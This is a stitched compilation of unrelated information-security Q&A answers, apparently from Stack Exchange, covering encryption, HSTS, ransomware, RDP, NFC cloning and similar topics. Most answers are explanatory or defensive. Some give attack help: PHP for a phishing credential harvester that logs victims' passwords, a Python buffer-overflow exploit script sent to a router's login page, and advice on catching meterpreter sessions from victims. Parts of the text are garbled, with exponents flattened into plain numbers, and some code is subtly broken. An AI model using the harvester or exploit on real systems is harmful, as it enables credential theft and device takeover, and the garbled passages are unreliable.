When should I use symmetric encryption instead of RSA?

This is not a question of size.

The raw asymmetric encryption algorithm known as RSA can do asymmetric encryption for a "message" in a rather limited space; namely, with a 2048-bit RSA key and PKCS#1 v1.5 RSA encryption, the algorithm can process a sequence of bytes up to 245 bytes at most.

But you never use the raw algorithm. You use a protocol, in this case OpenPGP, which defines the algorithms to use and where each byte goes. In OpenPGP, when the recipient has a public/private key pair and you want to encrypt your message "with the public key" (i.e. you want the message to be unreadable except by whoever knows the corresponding private key), then you invoke your OpenPGP-compatible software which will then follow the OpenPGP rules -- and these rules are that symmetric encryption is always used: the software generates a random symmetric key K, encrypts the message itself with a symmetric algorithm using K as key, then encrypts K (not the message) with the recipient's RSA public key. You don't have to choose, and you don't get to choose: this is the way OpenPGP works.

Designing your own secure protocol, and then implementing it securely, are two incredibly hard tasks ("incredibly" because people don't believe it at first) so the smart thing is not to do it yourself, but instead use an existing protocol (e.g. OpenPGP) and existing implementations of that protocol (e.g. GnuPG). In that sense, you should not ask yourself this question.


static IV and random keys using aes-256-cbc

If you are really using a new random key for each message, you can use a fixed initialization vector, yes.

But usually you want to reuse a key for several messages - for example, as you somehow have to transfer your key to the receiver of the message, and then using a random initialization vector for each message is important to avoid showing similarities between the messages in the ciphertexts.

In your example, what else are you doing with the key? How does the receiver of the message gets the key?


How to analyze malware to find out where keylogger sent data?

If you are not an expert in this skill, there are still some automated malware analysis tools that you can use to get some information from the files.

Sandboxes can be a very useful tool, and Cuckoo is probably the one that is best known. You can either set it up yourself, or find online Cuckoo sandboxes. Cuckoo will tell you what DNS queries are made and what HTTP connections are attempted as well as many other details.

You can replicate a part of what a sandbox does by running the malware in a closed VM and monitoring the network connections and any changes it makes to the filesystem. This only gives you a tiny amount of info (and is very risky to run unknown malware in your own VM if you do not know what you are doing), but it is also an option.

If you do have some skills, then you might want to run a debugger and see exactly how it runs, but this is an advanced skill.

There are, of course, numerous commercial tools available.


Setoolkit - credential harvester, only display the first character of the password

If you're using the option I'm thinking of, your cloned form is POSTing to post.php. You could edit that script in order to make it do what you want.

<?php
$file = 'harvester_sdfskksdks.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>

<meta http-equiv="refresh" content="0; url=http://0.0.0.0:8000/index.html" />

Instead of writing all the $_POST var, just do

file_puts_content($file, $_POST['login'] . ':' . substr($_POST['password'], 0, 1), FILE_APPEND)


Is the "2038 bug" considered as a vulnerability? is it possible to exploit this?

Yes, "2038 bug" might be a vulnerability, but it fully depends on how the application you're attacking is coded.

Say, you have a web application that does this:

if ($todayTimestamp > $user['rightExpiresTimestamp']) {
    did('Not allowed');
}

So the user was granted access until, say, 2018 so it's now expired, because today's timestamp is about 1571325274 and is greater than 1514764800 which is 2018 timestamp.

Now, you wait until 2038 and the server is bug-prone. Then $todayTimestamp will overflow, and be interpreted as something like -2147483648 which is lower than 1514764800 so access is not blocked.

Question is very broad tho, and will require 19 more waiting years to be exploitable in these (rare) cases...!


Subject Alternative Name in Certificate Signing Request apparently does not survive signing

The following command apparently resolves the issue:

openssl x509 -req -days 365 -CA ca.crt -CAkey ca.key -CAcreateserial \
  -extensions SAN \
  -extfile <(cat /etc/ssl/openssl.cnf \
    <(printf "\n[SAN]\nsubjectAltName=IP:1.2.3.4")) \
  -in key.csr -out key.crt

It is the same recipe as for openssl req, but with the two parameters extensions and extfile instead of reqexts and config.

This command was helpful for quickly confirming the desired outcome by printing the relevant section:

openssl x509 -in key.crt -text | grep "Subject Alternative Name" -C 1


Is it safer to use the preloading feature of HTTP Strict Transport Security (HSTS)?

It is actually even safer.

Conventional HSTS only takes effect after the first request to the site, and until the user clears his browser's cache (each browser may handle this differently but I assume clearing all browsing data should also delete the HSTS list), and I believe HSTS does not persist between non-private and private browsing due to privacy concerns.

"Preloaded" HSTS works by telling everyone that you wish your HSTS header to be shipped with browser updates, so that browsers know your site should only be accesses using HTTPS even if your user never visited your site before. It has some implications of course, mainly not being able to opt-out (let's say you go back to HTTP, not only will your existing users not be able to connect because they saw your HSTS header, but new users won't either because the HSTS header is bundled with their browser).

I believe you also have to submit the site manually using Google's form as I don't think they crawl the internet looking for preload headers, at least not yet.


Clickjacking is an attack which tricks the user to click on something he is not aware of. It is usually done by loading the attacked page into a transparent iframe. This iframe is scrolled to the correct location and kept below the mouse pointer.

A function that is often attacked by Clickjacking is the Facebook like-button.

While clickjacking does work for POST, a simple attack does not allow the attacker to manipulate the URL or form parameters.

Cross site request forgery is the name for the attack that uses the vulnerable site as target of a form on the attacker site. This form can be totally invisible and submitted via JavaScript automatically. All common browsers will include the session cookie for the target site in the request.

Cross site request forgery attacks are prevented by adding a hidden form field with a random value. Unless there are other vulnerabilities a CSRF attack is done blindly, so the attacker cannot read that hidden value.

In your case, even if the form is protected with a random CSRF prevention-token, you should still fix the cross ite scripting bug because there may be other vulnerabilities. Attacker can be very creative in combining minor vulnerabilities to a full exploit.


Is it dangerous to publicly share ciphertext?

That is exactly what encryption is designed to safely enable.  If Bob and Alice could safely share the message without allowing attackers and eavesdroppers access to it, they would not, in fact, need encryption at all.   So, yes, it is safe to allow any and everyone access to the ciphertext.  You do want to authenticate it so that it cannot be tampered with in transit, but done correctly, we don't believe there is any non-negligible risk of compromising the confidentiality of the message.


How am I identifiable when connecting to a site and is it possible to be anonymous?

First of all, they don't get your country. Although they can make a connection between an IP-Adress and a location through Geo-IP databases.
These are fairly accurate with most of the IPv4 Addresses.

Other things to track you are for example cookies and other information sent by your client. Panopticklick lists them in a nice readable form. ( https://panopticlick.eff.org )
Remember, apart from the things your client transmits they only see your IP-Adress and your request.

Yes a Proxy hides your IP from the final destination, but the proxy can still make the connection between the requests and your IP. And for most ISP the IP-Adress is not really uniquely as the assign them dynamically or even NAT all your requests.
So your IP is not really the problem if you want to protect against tracking from a website.

But the bigger problem is that your client still send's a lot of data, which can still uniquely identify you. The TOR Project tackles this problem by distributing a Browser-Bundle which is configured not to send these informations or delete them after restart because some websites need these informations to work properly.
So every Tor Browser looks the same and can't be distinguished after a browser restart.
Two of the main things to do is deactivate cookies and javascript as they are responsible for most of the additional data sent to the server. But the Tor-Browser Bundle is a good example how to configure a browser to be as least identifiable as possible.


Would limiting write access to a backup directory help protect it from ransomware?

Having a read-only backup directory that is only accessed by a backup user will have a positive impact on the number of ransomware that can destroy/alter your backups. Depending on this solution solely will not fully protect your system.

There's a number of factors regarding ransomware out there, which means that a comprehensive anti-ransomware strategy would have to be used. I did some basic research, and found that while some ransomware would be thwarted by this alone, it's not foolproof. Here some other helpful tips:

Unmount Backups

As long as the files are accessible at the kernel level, there's some chance of a privilege escalation attack that could bypass file permissions. Preferably, your back up should exist on a dedicated machine connected through the network and has to be mounted by the backup user before copying files. This reduces the exposure time for those files to be encrypted.

Network Backups

Don't keep the backup on the same computer as you're using. This is also practical in the sense that when your hard drive crashes, you can go to your backup and restore from there. They do go bad from time to time. I had a hard drive just this year start throwing unreadable sector errors, and it was a backup (but had already been backed up itself before it went bad).

Run As Normal User

Many users decide to run as local administrators (especially Windows users), which makes privilege escalation easier or not necessary. Make sure you're only logged in as root/Administrator to install programs, and run as a normal user at all other times.

Rename Files

Come up with a naming scheme for your file extensions. Most ransomware actually only looks for certain types of files, like pictures, movies, documents, and spreadsheets. Things that you tend to care about. If your backup files have different extensions, most ransomware will happily ignore those files in favor of files it thinks you care about.

Patch Systems

Many ransomware packages depend on exploits in Java, Flash, a specific browser or Operating System, or a driver. Make sure you patch your software as frequently as possible. Drive-by infections are still common, although most drive-by software tends to not use privilege escalation attacks as of late, so simply keeping your software up to date could be a major bonus. This includes third-party software like Magento, Drupal, and so on.

Anti-Virus

Keep an anti-virus program running on your machine, with heuristic matching, if available. Most vendors have learned to tell when a ransomware is up to no good.

Honeypot (?)

I don't know of any off-of-the-shelf products that do this, but you could build a honeypot in your file system in just a few lines of code. Basically, make a folder named "a" in your home directory (/home/a or /Users/a), and write a small program that hooks into the ioctl for that folder. Terminate any program that attempts to read from that directory. Alternatively, just write a daemon that hooks on your backup folder, and terminate any programs that don't have the backup user's id attached to it.

Keep in mind that there's still other ways to mangle your files. In theory, a hypervisor virus could gain control of your hardware and corrupt everything without you even knowing about it, until it was too late. No scheme you could come up with will be 100% foolproof. However, by carefully managing your backups offline, patching regularly, and restricting your user account's privileges, you'll keep the majority of the ransomware in the wild from harming you. This is the same basic strategy you'd use to protect against any other type of virus.


Email Account under attack (really) - anything I can do?

A few thoughts:

Usually my first recommendation would be to pick an extremely strong password. But you allready got that covered.
If there is two factor authentication available, turn it on. If you are lucky, it might make you an unattractive target and cause the attacker to move on.
If the account lock out doesn't affect other methods of reading your mail, like via IMAP, you could switch to that to maintain access. (To be honest, I don't know much about the security of IMAP, so you might want to consider that before turning it on.)
Forwarding the mail somewhere else will also ensure that you can read it even if your account is locked.
Finally, you can try contacting your email provider. I think your best bet here is to just describe the problem to them, and ask what they can do to help you.


What can I do to make sure my computer isn't infected with FinSpy?

Look for the string "FinSpy" across all files.

"But their most intriguing finding was a small but telling word embedded in the spyware’s code: “FinSpy.”

That quote is from the article at http://bits.blogs.nytimes.com/2012/08/31/how-two-amateur-sleuths-looked-for-finspy-software/

According to that article you could also look for connections to servers answering manual connection attempts with Hallo Steffi".


Fetching GPG private key from Linux server to decrypt files on a Win 10 computer in production

windows 10 also supports curl, so the following command can also be used:-

curl scp://example.com/file.zip -u user:password

If you create a scheduled task to fetch key and place it in the windows administrator profile and another task that signs any file with that key you should be secure.

Unless the users run mimikatz or other memory dumping tools or have local administrator access.


There is no such thing as a virus signature stored in the file. Creating the signature of a virus is a process which is using various properties of the malicious file to get the signature value. In the easiest case this might just be some hash like MD5 of the file. But one can also have more intelligent signatures which for example skip parts of the file which are irrelevant for the functionality of the virus or include structured information of the PE header or similar into the signature. How the signature of a virus file gets computed depends on the intelligence on the AV engine and is usually proprietary information.

As for the file signature: There are various forms of file signatures but in the context of AV it is probably computing the signature of an unknown file the same way as computing the signature of a malicious file and then checking if the file signature matches any of the known signatures for malicious files. If this is the case the unknown file is probably malicious too. But how certain this information is depends on how the signature was computed.


RDP Authentication with domain credentials

RDP uses a protocol called CredSSP to delegate credentials. The process works like this.

MSTSC prompts for credentials (or uses saved creds)
MSTSC requests a network logon ticket (Kerberos or NTLM) to the machine typed into the "computer" field using the credentials from (1)
A TLS session is established with the remote machine (this is why you sometimes see the yellow dialog indicating the typed name doesn't match the certificate name)
The ticket from (2) is sent to authenticate the client machine
A response to the ticket from (2) is sent to client to authenticate the target machine
An encryption key is negotiated between the client and server
The client encrypts the credentials typed in (1)
The target decrypts the credentials and passes them to the logon process
The logon process does a Kerberos auth of those credentials and starts your desktop session

The last little bit is no different than when you walk up to a computer and type your credentials in physically. You can also substitute password with smart card or certificate.

The security of this exchange lies in the fact that you used Kerberos to verify the identity of the target machine is one you trust because the name matches a service in Active Directory (yes, you're delegating that trust decision, but if you can't trust AD you're screwed anyway).


Is there a downside to using a Ledger Nano S or X as both a crypto wallet and a 2FA key?

Short answer: yes and no.

If you're regularly inserting the device into a USB port for non-wallet purposes, it's not quite as "cold" as it would be otherwise, so there's a non-zero hypothetical risk increase, but ...

The frequency with which you have to insert your U2F device should be relatively low for most web applications (you're generally only prompted for the key when you're either logging in from a "new" device, or if you're doing something security-sensitive like changing your password, changing U2F keys, etc.)

A potential compromise: acquire an additional inexpensive U2F key, and use that as your "daily driver" (though it will probably be used much less often than that). This allows you to minimize non-wallet use of the wallet, but still have the wallet available as a second factor in an emergency, etc.


Unable to display login username in Hydra

Check your /usr/share/ncrack/minimal.usr file...

Remove the line # minimal list of very common username from the file; otherwise, Hydra will not work as expected.


Users never remember their passwords or security answers. How can I get them to remember, but follow good security practices?

For an average user that is unlikely to be the subject of a targeted attack, then the main risks to consider are those posed by automated attacks and bulk leaks of account details and password hashes when various websites are inevitably compromised.

The key mitigations for these are

a) passwords of sufficient complexity (generally at least 8 characters, not a simple word and not based on public able available information about you)

b) passwords are not reused on different sites.

For most people with many accounts the above two largely rule out memorisation of anything but passwords for one or two accounts, with the rest stored somewhere.  An encrypted password manager is a good choice, but written down is equally effective for the above risks, provided they can store it somewhere where access is limited to prople they reasonably trust.

For many home users, a simple notebook with all of their passwords written down and stored as home is simple to understand and effective at mitigating the main risks they face.


Enter as guest into another server folder

Share permissions are different from NTFS (file system) permissions.  Check the NTFS permissions on your shared folder.  You might need to allow the Everyone NTFS group read access.


Does my host machine stay completely safe if I'm browsing the dark web using virtual box or vmware on bridge network connection?

There have been attacks hosts with non-ECC ram through their virtual machine. The attackers were able to pass commands to the host computer by manipulating the VM memory.

http://www.darkreading.com/risk/hacking-tool-lets-a-vm-break-out-and-attack-its-host/d/d-id/1131254?

The same security rules that apply to your host, apply to your VM. Use VPNs and the like to help mask your public IP.


Force "Remote Host Identification Has Changed " warning

The issue is likely that you are changing the host key in such a way as to make it unparsable. If you try using ssh -v [host] you'll probably see something like this:

debug1: /home/[user]/.ssh/known_hosts:1: parse error in hostkeys file

If you want to cause a verification error rather than a parse error that gets ignored, you'll have to change the key in a way that ssh still thinks it's valid. The way to do this depends on what type of key it is. You can force host key types with HostKeyAlgorithms (eg -o HostKeyAlgorithms=ssh-rsa). The most common host keys you'll run across with OpenSSH are RSA and ECDSA.

RSA

If you have an RSA host key, Thomas Pornin describes the public key format here:

00 00 00 07             The length in bytes of the next field
73 73 68 2d 72 73 61    The key type (ASCII encoding of "ssh-rsa")
00 00 00 03             The length in bytes of the public exponent
01 00 01                The public exponent (usually 65537, as here)
00 00 01 01             The length in bytes of the modulus (here, 257)
00 c3 a3...             The modulus

To avoid an invalid format error, you'll have to keep the string lengths and key type valid. OpenSSH also checks that the public exponent and modulus are not equal to 0, that the modulus is greater than 0, and that the modulus is at least 1024 bits. Here is an example key with a public exponent of 1 and a modulus of 21023 (note that this is not a valid RSA key, it just passes the checks OpenSSH uses for keys in known_hosts):

AAAAB3NzaC1yc2EAAAABAQAAAIEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

In general, you can change pretty much anything after the 33rd or so base64 character, as long as you keep it the same length and valid base64. All that's required is that the modulus is > 0 and at least 1024 bits.

ECDSA

You can find the key format in the RFC and SEC 1:

Let's break down this example key I just generated:

AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNLpVyqsu97ajvCDAcc8/W50xhG/Rt2qOxdiy05hAJJtwRTPZRJxrCLayFDWWkNY5ZICRQoYB6Fn7z42JPZNUaI=

00000013                                  Length of string (19 bytes)
65636473612d736861322d6e69737470323536    ASCII encoding of "ecdsa-sha2-nistp256" ("ecdsa-sha2-[identifier]")
00000008                                  Length of string (8 bytes)
6e69737470323536                          ASCII encoding of "nistp256" ("[identifier]")
00000041                                  Length of string (65 bytes)
04d2e9572aacbbdeda8ef08301c73cfd...       Q

Decoding Q according to SEC 1 section 2.3.4:
04                                                                 W
d2e9572aacbbdeda8ef08301c73cfd6e74c611bf46ddaa3b1762cb4e6100926d   X
c114cf651271ac22dac850d65a4358e59202450a1807a167ef3e3624f64d51a2   Y

The OpenSSL functions OpenSSH calls for ECDSA keys actually verify that the point is on the curve, so you'd have to do some math to change it to another valid public key. At that point you might as well just generate a new one using:

ssh-keygen -t ecdsa -f /tmp/key -N ''
cat /tmp/key.pub
rm /tmp/key{,.pub}

You can of course do this for RSA and other keys as well.


That depends on what type of tag you use and what level of protection against cloning you want.

NFC tags (as defined by the NFC Forum) have no protection against cloning. Such tags are intended as containers for freely readable data (so called NDEF messages). Anyone could read an NDEF message from one tag and duplicate it to another tag.
Many NFC tags also contain a unique identifier that is pre-programmed by the tag manufacturer and cannot be modified on normal tags because those memory segments are in read-only memory. Such a unique ID could be used to uniquely identify a tag (i.e. to match the ID against some form of database). This approach has been used by many access control systems in the past (and actually still is!). However, all data can still be extracted from the tag. Specialized hardware (e.g. Proxmark, etc) and ready-made tags are often available where an attacker can change the unique identifier. So this is certainly not perfect cloning protection. Nevertheless, some manufacturers still add new cloning protection features that rely on publicly readable (but supposed to be uncopyable) unique identifiers. One such manufacturer is NXP with their signature feature on new NTAG tags. (Basically they add a digital signature over the unique ID to the tag, but nothing prevents an attacker to create a clone that also contains a copy of that static signature.)
Contactless smartcards/tags that provide communication encryption and shared-key based mutual authentication (e.g. MIFARE DESFire) exist. With this approach, cloning could be prevented by protecting certain data on the tag with a secret password. However if an attacker is able to find out that secret password, nothing prevents the attacker from creating a clone of the tag. Many modern access control systems and closed-loop payment systems use such an approach.
Contactless tags/smartcards that contain a secret asymmetric key (that cannot be extracted from the card using the available communication interface) and provide a command to sign a cryptographic challenge with that key exist. Many such smartcards are built upon Java Card technology, so they contain a microcontroller that executes some custom application software (written in Java). Most modern EMV-based credit cards use this type of mechanism to prevent cloning.


Aircrack-ng Windows 10 with USB WiFi in Promiscuous mode

I don’t think you’d be able to get aircrack-ng to work on Windows. You’d also have to install the drivers. I recommend installing Virtual Box and getting the Kali Linux iso. Aircrack-ng comes preinstalled in it, all you have to do then is purchase a monitor mode supported WiFi adapter card. I suggest an ALFA one, I have one and it works perfectly. After that it’s really just a matter of opening up settings in virtual box and adding the WiFi adapter as a usb device. You should be able to use aircrack-ng then! There tons of tutorials on YouTube on how to install Kali Linux and connect a WiFi adapter.


Consider what sort of role you are looking for. Information Security is a very wide field. Do you want to be a Penetration Tester? Do you want to be a SOC analyst? Do you want to be an ISO27001 Auditor? If you are not sure, I would suggest spending some time understanding the different types of role in the Industry and considering which ones fit your skill set given that you don't want to start from scratch.

Once you know what direction you are going in then you can start looking at an appropriate certification program or some other way of building a bridge for your transition.

Good luck!


I am not getting meterpreter sessions when I am connected to an Openvpn

In order to get a session both the attacker and victim machine should be on same network.
A little background on VPN
When you are connected to a VPN, you are probably on a private network and the victim is simply connected to the internet.
This makes the difference, in order to a get a session you have to be on same network but right now both the attacker and victim are on different network as you are connected to your VPN.

So, in oder to get a session you will have to connect the victim machine to the same VPN as yours. This is because VPN can connect your machine into remote LAN.
NOTE :
This will only happen when you are using your VPN IP.


I've checked the actual code and reproduced the exploit. In addition to all the conditions Polynomial mentioned, install.php must be called when the current database that is configured in settings.php is not available.

To exploit the vulnerability, attacker needs to somehow make a Denial of Service for the database server. For example, he can send multiple simultaneous requests to the site. These would connect to database, possibly reaching database limits (e.g. MySQL 'max_user_connections'). Within that narrow time window, attacker must start the new installation process (which would overwrite settings.php with attacker-chosen DB details).


Cannot capture frames other than broadcast or multicast in Wireshark

So that everyone knows the problem was with the Kernel, there's a new issue with kernels below v4.4.0 with RT chipset (on KALI).

Upgrading the kernel solved the issue.


Why are stored procedures and prepared statements the preferred modern methods for preventing SQL Injection over mysql real escape string() function

The problem of SQL injection is essentially the mixing of logic and data, where what should be data is treated as logic. Prepared statements and parameterized queries actually solve this issue at the source by completely separating logic from data, so injection becomes nearly impossible. The string escape function doesn't actually solve the problem, but it tries to prevent harm by escaping certain characters. With a string escape function, no matter how good it is, there's always the worry of a possible edge case that could allow for an unescaped character to make it through.

Another important point, as mentioned in @Sebastian's comment, is that it is much easier to be consistent when writing an application using prepared statements. Using prepared statements is architecturally different from the plain old way; instead of string concatenation, you build statements by binding parameters (e.g. PDOStatement::bindParam for PHP), followed by a separate execution statement (PDOStatement::execute). But with mysql_real_escape_string(), in addition to performing your query, you need to remember to call that function first. If your application has 1000 endpoints that perform SQL queries but you forget to call mysql_real_escape_string() on even one of them, or do so improperly, your entire database could be left wide open.


Developing MIPS exploit in python memory address getting parse as a value

After spending some time with gdb and python finally i come-up with the code which can parse the Address as a address instead of String.

import socket
import struct
buf = "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"
buf+="Username=Bufferoverflow"
buf+="&Logoff=0"
buf+="&LoginTimes=1"
buf+="&LoginTimes_Zero=0"
buf+="&value_one=1"
buf+="&Password1=xss"
buf+="&Password2=xss"
buf+="&logintype=usr"
buf+="&Password="
buf+="A"*999 #Padding till T4
buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+="T7T7" #T7 sleep address based on libc
buf+="B"*9 #Padding till T6
buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+="K"*8 #Padding between T6to s0
buf+="S0S0" #S0 Address sleep address boa possitive
buf+="S1S1" #S1 Address Sleep Address Boa negetive
buf+="S2S2" #S2 Address Normal Sleep Adress
buf+="S3S3" #S3Address System Address
buf+="\xA0\x0E\xA2\x18" #return Address
buf+="K"*600
print buf
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

And The Final conclusion

Requests module parse the value as a string. and wen you use socket it parse the value as an address


It is my understanding that EAP-TLS and EAP-TTLS do not trust in WPA2 4-Way handshake, essentially establishing an authenticated tunnel between client and server independant on the WPA2 protocol.

Your understanding is wrong. EAP-TLS and EAP-TTLS (as well as EAP-PEAP) are methods used to authenticate a supplicant (i.e. client) to a RADIUS server when using WPA/WPA2-Enterprise (i.e. 802.11i). All of them create a TLS tunnel between the supplicant and the RADIUS server through which the authentication is passed.

In an 802.1X transaction such as this, the client is not actually connected to the network until they are authenticated. The device the client connects to will proxy the 802.1X transaction from the supplicant to the RADIUS server. Only after a successful authentication is the client allowed to finish establishing the connection to the network.

In the case of 802.11, it is after the successful authentication that the client can complete the connection and establish encryption with the access point (often referred to as the WPA2 handshake).

  In this scenario, would KRACK reveal plaintext from the victim, or it would be unable to break the TLS tunnel and confidentiality would be ensured?

KRACK would be unable to break the TLS tunnel used by the EAP method as KRACK does not attack the TLS protocol. Rather KRACK attacks the WPA2 handshake which establishes the encryption keys to be used between the client and access point. It is the encryption between the client and the access point that is vulnerable.

The TLS tunnel used by EAP methods is established between the supplicant and the RADIUS server, not between the client and the access point. Once the authentication completes, the TLS tunnel is torn down.

Post successful authentication, when the process continues connecting to the network, is when the WPA2 handshake takes place and KRACK would come into play. This will then compromise the encryption between the client and the access point.


Amazon 2FA: Compromising the email leads to compromising 2FA, e.g removing the other factor?

Is this a plausible attack vector?

A lot of consumer sites base there security measures on a chain of trust. They trust you to make sure your primary contact method is properly secured. They need a primary contact which in most cases is your email address. All password resets, account management, notifications etc go through this.

Given the size of Amazon and the % of people tech savy enough to set up and manage advanced multi factor auth, I imagine it is a business decision to keep their 2FA as simple as possible. After all it is not their problem if your email account was compromised, which would be a mandatory step to then disable their 2FA.

To be completely secure I would take additional steps to secure the final step in the chain of trust, i.e your email account. Google just launched a very nice feature that creates a multi factor auth system that requires extended checks to reset. You may not be using a Google account but it serves as a good example of how to do it.

Find out more here: https://landing.google.com/advancedprotection/


Are there secure alternatives to single-use password reset links?

As always, you have to consider the value of the asset you're attempting to protect in order to properly assess if a security procedure is adequate or not. Typically, you'll be willing to accept lower usability when the value of your asset is high.

This means that it's impossible for anyone than yourself to estimate whether a given solution is secure enough.

That being said, a simple way to solve your issue is not to have your links expire immediately but have them expire after a period of time OR when the password has been reset (whichever comes first).

In order to decide whether this is secure enough for you, and assuming you're satisfied current setup, you will need to consider the following changes:

The same link can now be reused several time. This potentially weaken the security of the system.

However, you are currently working on an assumption that is incorrect: the first person to visit a link is the legitimate user. It's clearly not the case (as you've noticed). The consequence is that you're not really increasing the overall security by having the link expire immediately after first access.

So, in my opinion, changing the way your access token expires seems like a better solution: you're increasing usability without impacting the overall system security.

You might, however, consider including some second-level validation in the page you land in when using your reset link. Something that will somehow improve your confidence the user identity (typically, a "security question" is used although that model is not very good).


Risk of infecting the host OS if the guest OS is out of date

Of course, the chances of malware being able to even attempt escaping without first exploiting a vulnerability in the Guest OS are next to none in most use cases. Therefore, it technically does increase the chances of you getting infected.

On the other hand, VMs are often used even for malware research, where the guest OS is intentionally infected and the VM used to protect the Host OS. In my opinion, it is safe enough to rely on a reliable up-to-date and well configured VM to protect your host OS.

Keep in mind however, that having the Guest OS infected may cause more trouble than just infecting your host OS. It may start acting as part of botnet, it may be used as stepping stone to breach your network, to mine crypto-currencies and in a variety of other annoying and potentially dangerous ways.


The argument basically seems to be that SGC certificated are only useful for a handful of ancient browsers, whose vendor support has long since ended, and those browsers already contain plenty of security holes that make them insecure regardless of what encryption might or might not be used.

Thus, allowing users to establish an HTTPS connection to your site using one of those ancient browsers is only creating an illusion of security.  The user might think they're safe because they're using HTTPS, but in fact their browser is almost certainly infested with malware that could be logging everything they do, HTTPS or not.

If you care about your users' security, the only thing you should be sending to those browsers is a security warning and a request to upgrade.  If you don't care about security, well, why are you bothering with HTTPS in the first place?

All that said, there doesn't seem to be any intrinsic security flaw in SGC certificates — they work just fine, provided that you're using a modern, secure browser.  They're just not really needed by any such browser.


Can I use a TLS certificate (first generated for a Windows Server) on a Linux Server?

To answer your explicit questions:

Basically you need to create a certificate sign request (CSR) which then will be used by a certificate authority of your choosing to create the actual certificate. Creating a CSR can be done by multiple ways, some CAs actually have own tools that are very user friendly.
Well the thing to do is checking out various CA's websites and compare what they offer and of course for what price (you might consider even https://letsencrypt.org/).
Yes. The only thing you need to do is correctly configure the new server.

Forward secrecy in secure communication means that if your private key gets compromised anytime in the future, past communication secured using this key are not at risk of being deciphered. See this article for more detail. This can not be ensured directly by using a specific certificate, but rather by the used cipher suite (e.g. suites using DHE-RSA for key exchange) which is chosen when establishing a secure connection.


It looks like that Firefox (and Chrome too) can only import key and cert together if they are inside a PKCS#12 file but not when they are in a PEM format. To create such a file from the created certificates:

openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12

Then import the server.p12 file in Firefox.


We can't tell what your friend is doing to see the business on your phone, so I'll create a straw man and assume one of three things is happening:

Assumption 1) You are running a jailbroken phone / Android wherein your friend put applications on your phone. In that case, (s)he may have access to your phone even if you aren't on the Wi-Fi. If this is the case (that you are running a jailbroken phone or a phone with cracked software), you should factory reset and never download untrusted applications. It could be that your friend is messing with you and you trusted software that you should not have trusted.

Assumption 2) Your friend is monitoring the router traffic. If this is the case, (s)he will be able to see what sites you visit and, if you visit sites without transport layer security in place (like, banks or social media pages that don't have HTTPS), then your friend could sniff where you are going and what credentials you are sending along. This makes sense because you'll be using the router to send the traffic to the internet. Like Navi mentioned above, you can use a VPN service to encrypt your traffic. Then, even though your friend will sniff what's going through the router, (s)he won't be able to understand the sites or credentials. Advice here is to use a reputable, paid VPN service, as if you use a free VPN service you run the risk of further security issues.

Assumption 3) Your friend is messing with you and is looking over your shoulder, maybe with a camera in the room. In this case, don't do important stuff at the house because clearly this person is messing about with your privacy. Or search the room for a hidden camera and unplug it.

--

Assumption 3 is unlikely, but never underestimate shoulder surfing, as it's how ATM skimmers get pins.


AES using derived keys / IVs. Does it introduce a weakness?

A potentially better approach would be to store the IV and ciphertext in one column. This way, you can generate IVs in the way most appropriate for your choice of encryption mode while also not having to add columns.

Something like "$AES-128-CBC$" + Base64.encode64(iv) + "$" + Base64.encode64(ciphertext) is similar to the format used in crypt, easily parseable, and being Base64-encoded is slightly more convenient when doing queries on the database using command-line clients.


Is it safe to generate JWTs using private key?

When you speak about making "claims", this is exactly how it's done. A private key is not meant to be distributed. The keeper of the key is the authentic user of the key. It allows them to issue authentic claims. If that key were ever compromised, then other claims could be made that would be accepted as authentic. In other words, whoever has the private key can impersonate an authorized oracle.

The public key, on the other hand, is meant to be distributed to all servers that should trust the owner of the private key. This key doesn't allow anyone to make claims, but it allows everyone to acknowledge that the claim is indeed true. Other technologies, such as SAML, use a similar technique: the issuing server holds a private certificate, and the relying parties use that server's public certificate to verify the assertion.

For what it's worth, there's nothing special about the public and private keys. You could swap them around after they're generated but before the public key were distributed, and it would work in the same way. And, technically, yes, since JWT has a documented format, you do know what the payload is supposed to look like, which would weaken the key security a bit, but it still doesn't really help you, since each bit in a key affects multiple bits. It would be very hard to use a chosen plain-text attack against even a large number of tokens, simply because of the large number of bits that are used. Remember, the goal of recovering the private key isn't to get at the decrypted data (because the public key is already available), it's how to impersonate a given server.


Collision rate for different hash algorithms

If I try to create collisions for MD5, I can make one every 14 seconds (on average) on my PC, using a single core (Core2, 2.4 GHz). This exploits the weaknesses in the internal structure of MD5. If I only try random data and wait for collisions to appear, well, I will wait for quite some time: the first collision is expected after about 264 hashed messages (give me a thousand PC, and I should achieve a collision in about 20 years of full-time computation).

For currently unbroken cryptographic hash functions, there is no known internal weakness (that's what "unbroken" means), so trying random messages is the best known method to create collisions. Chances to get a collision this way are vanishingly small until you hash at least 2n/2 messages, for a hash function with a n-bit output. This means that with any proper hash function with an output of 256 bits or more, the collision rate is, in practical conditions, zero (you will not get any and that's the end of the story).

Wikipedia has some pointers on the subject. See also chapter 9 of the Handbook of Applied Cryptography (page 369).


What is the process to use previously-deployed POI devices in a PCI P2PE solution?

This can be complex and so for certainty you need to ask the P2PE QSA. The objective is to ensure the integrity of the POI and its associated keys. If the key update is compliant with the key management requirements of P2PE and the initial key injection was completed in a P2PE validated environment following validated processes then it will generally be OK, BUT because each POI vendor and solution provider has their own way of doing things, only a P2PE QSA familiar with the solution can give you a definitive answer.


